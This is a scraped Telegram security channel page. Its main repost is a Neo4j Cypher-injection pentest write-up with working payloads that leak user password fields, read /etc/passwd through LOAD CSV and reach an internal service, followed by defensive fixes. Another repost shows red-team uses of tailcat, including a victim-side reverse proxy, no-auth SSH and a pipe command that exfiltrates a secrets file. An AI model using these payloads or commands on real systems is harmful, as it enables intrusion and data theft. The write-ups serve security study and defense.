uz
Feedback
Fsecurity | HH

Fsecurity | HH

Kanalga Telegram’da o‘tish

👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb

Ko'proq ko'rsatish
2 073
Obunachilar
+124 soatlar
+47 kun
+1430 kun
Postlar arxiv
Repost from purple shift
Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса. На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции. Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми. Суть проблемы: Уязвимый код может выглядеть так:
query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'
Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:
query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"

with driver.session() as session:
    result = session.run(query, user_input=user_input)
В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher. На практике: На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:
GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001
Значение login после декодирования:
" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) // 
Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса. Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].
Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}
После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:
" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //
Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:
label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>
Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать. Результат: Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам. Для защиты от такой атаки рекомендуем: — использовать параметризованные запросы, — не возвращать клиенту информацию о содержании ошибки, — выдать приложению минимальные права, — ограничить LOAD CSV и исходящий трафик.

Всем хак! 👾 Обновил Obsidian Pentest Если репозиторий был полезен, поставьте ⭐ в GitHub
Всем хак! 👾 Обновил Obsidian Pentest Если репозиторий был полезен, поставьте ⭐ в GitHub

Вы подменили User-Agent, и сервер всё равно знает, что это curl. Он понял это до того, как получил заголовки 🔗Ссылка: https://habr.com/ru/articles/1075838/

Security Week 2636: атака GPUThor обходит защиту ECC Исследователи из канадского Университета Торонто на прошлой неделе опубликовали научную работу, в которой продемонстрировали новую атаку на видеоускорители NVIDIA. Атака, получившая название GPUThor, относится к классу Rowhammer, то есть использует многократные обращения к ячейкам оперативной памяти с целью повлиять на соседние ячейки. Таким образом можно изменить данные в областях памяти, изначально недоступных потенциальному злоумышленнику. Наиболее актуален такой сценарий атаки в случае совместного доступа к профессиональному видеоускорителю. Именно поэтому в подобных работах традиционно исследуются устройства NVIDIA, в данном случае модели поколения Ampere A4000, A4500, A5000 и A6000. 🔗Ссылка: https://habr.com/ru/companies/kaspersky/articles/1076720/

Рагнарёк: F6 исследовала атаки группировки вымогателей VantaCore Специалисты Лаборатории цифровой криминалистики и исследования вредоносного кода компании F6 сообщают о новой угрозе российскому бизнесу. В августе 2026 года специалистами Лаборатории выявлена активность новой группировки, назвавшей себя VantaCore. Уточнённое количество известных жертв этой группировки — не менее семи. Атакующие имеют явно нескромные аппетиты: суммы запрашиваемых выкупов составляют миллионы долларов. Вот только вопрос: новая ли эта группа или старая, но в новом обличии. По мнению специалистов Лаборатории, есть все основания считать, что новая группировка – ребрендинг ранее известной проукраинской группы – Thor. 🔗Ссылка: https://habr.com/ru/companies/F6/articles/1076818/

Repost from s0ld13r ch.
TailCat Red Team use case 😎 Несколько дней назад ребята из TailScale выпустили свой инструмент tailcat, как можно понять из
TailCat Red Team use case 😎 Несколько дней назад ребята из TailScale выпустили свой инструмент tailcat, как можно понять из названия, это аналог netcat но работающий из коробки через сеть TailScale 🤩 Первой моей мыслью стало что инструментом начнут активно пользоваться атакующие и решил расписать разные примеры применения нового "условно легитимного" софта 😃 🔢 SOCKS5 Reverse Proxy Можно использовать машину жертвы как exit-node и через неё получать доступ к внутренней сети. На машине жертвы запускаем следующую команду: tailcat --serve=exit-node По умолчанию tailcat socks поднимает SOCKS5 на случайном порту и передаёт адрес и порт через переменную окружения. Чтобы не возиться с этим каждый раз, я написал небольшой wrapper под названием tcsocks, который поднимает локальный SOCKS5 на 1080 (порт можно поменять). На машине оператора запускаем: tcsocks -q <token> А дальше как обычно пользуемся proxychains: proxychains -f proxy.conf -q nxc rdp 192.168.0.0/24 🔢 SSH доступ без авторизации Tailcat также позволяет в user mode слушать SSH от пользователя, без необходимости вводить пароль, это особенно удобно если был нестабильный шелл и нужно было использовать альтернативный канал. Сперва слушаем No Auth SSH на машине жертвы: tailcat --serve=no-auth-ssh Далее подключаемся по токену с машины оператора: tailcat ssh <token> 🔢 Эксфильтрация данных через pipe Ну и классика - эксфильтрация файлов через pipe на машине жертвы запускаем:
cat secret.txt | tailcat <token>
На машине оператора запускаем: tailcat > secret.txt Из плюсов вижу то, что инструмент условно легитимный и работает из коробки, с открытым исходным кодом который можно кастомизировать под свои нужды 😎 💻 tcsocks: https://gist.github.com/s0ld13rr/18e2765da1831af0a656e7bb0a819e73 💻 tailcat: https://github.com/tailscale/tailcat 🧢 s0ld13r

Repost from SecuriXy.kz
🏠 Подборка тулов - для домашней инфры на Docker Собрал сюда то, что реально использую в home lab. Все self-hosted, легкие, б
🏠 Подборка тулов - для домашней инфры на Docker Собрал сюда то, что реально использую в home lab. Все self-hosted, легкие, без раздутого стека и телеметрии. Может кому пригодится. 🎛 Dockhand - управление Docker Современная альтернатива Portainer. Реалтайм-контроль контейнеров, визуальный редактор Compose-стеков, деплой из Git с автосинком, SSO через OIDC 🔗 https://github.com/Finsys/dockhand 📜 Dozzle - просмотр логов Веб-интерфейс для логов контейнеров в реальном времени, без хранения истории и лишней настройки 🔗 https://github.com/amir20/dozzle 🔐 Authelia - SSO и 2FA Единый шлюз аутентификации перед сервисами, OIDC, LDAP, 2FA. Альтернативы - Authentik, Keycloak, Zitadel, но Authelia легче по ресурсам 🔗 https://github.com/authelia/authelia 📊 Beszel - мониторинг ресурсов Легкий хаб мониторинга CPU, памяти, диска, сети и статистики Docker-контейнеров по нескольким хостам. Хаб и агент общаются по SSH, наружу торчать не надо 🔗 https://github.com/henrygd/beszel 📈 Uptime Kuma - мониторинг аптайма Простой self-hosted аналог UptimeRobot, статус-страницы, нотификации в десяток каналов 🔗 https://github.com/louislam/uptime-kuma 🐙 Forgejo - легкий гит-сервер Форк Gitea под некоммерческим Codeberg e.V., issues, PR, CI-actions, kanban. Легче GitLab, встанет даже на Raspberry Pi 🔗 https://codeberg.org/forgejo/forgejo 🩹 PatchMon - мониторинг обновлений Централизованный контроль пакетов и патчей на флоте Linux/FreeBSD/Windows хостов, агент только на исходящих соединениях, approval-флоу с аудитом и поддержкой крнтейнеров 🔗 https://github.com/PatchMon/PatchMon #docker #homelab #selfhosted #tools

11 минут у Backblaze, и неделя бездействия у reg.ru: как компании обрубают инфраструктуру трояна в России и за рубежом Если вы состоите в более‑менее крупных ТГ сообществах, то наверняка замечали, как время от времени в чатах мелькают боты с предложением установить сомнительный APK. Обычно их мгновенно банит антиспам или админ, и на этом всё заканчивается. Правда, пока сообщение ещё висит, взгляд успевает за него зацепиться, и в голове проскакивает «это очевидно скам, но как оно работает?». У меня эта мысль проскочила в дождливый вечер прошлой пятницы, и вот, неделю спустя, я всё ещё смотрю на четыре домена, куда уходят перехваченные банковские коды, и ожидаю хоть каких‑до действий от уполномоченных компаний, которые были уведомлены об атаке почти неделю назад. 🔗Ссылка: https://habr.com/ru/articles/1076024/

Чем опасны старые версии Nexus Repository CE Хранилище артефактов, как правило, находится в критическом месте инфраструктуры
Чем опасны старые версии Nexus Repository CE Хранилище артефактов, как правило, находится в критическом месте инфраструктуры компании: между сборкой продукта и внешним миром. Через него команды получают зависимости, публикуют собственные пакеты и передают артефакты дальше по цепочке поставки. Если такой сервис недоступен или его содержимое нельзя считать доверенным, то проблема быстро выходит за пределы одной лишь команды DevOps. Останавливаются сборки и поставки программного обеспечения, а вредоносный или уязвимый пакет может попасть во множество проектов. На этом фоне компаниям особенно неприятно быть зависимыми от версии инструмента, которую сложно обновлять. Именно в таком положении оказалась часть пользователей бесплатной версии Nexus Repository после изменения модели выпуска в начале 2025 года. 🔗Ссылка: https://habr.com/ru/companies/codescoring/articles/1075784/

Как Telegram удалил 800 ГБ моих данных и причем тут орфография 🔗Ссылка: https://habr.com/ru/articles/1075816/

В логе адрес ::ffff:192.0.2.5, в белом списке 192.0.2.5. Это один адрес, и он не совпадает 🔗Ссылка: https://habr.com/ru/articles/1075810/

Подмена страницы интернет-банка First Partner Bank на Standoff 365 🔗Ссылка: https://habr.com/ru/companies/pt/articles/107445
Подмена страницы интернет-банка First Partner Bank на Standoff 365 🔗Ссылка: https://habr.com/ru/companies/pt/articles/1074454/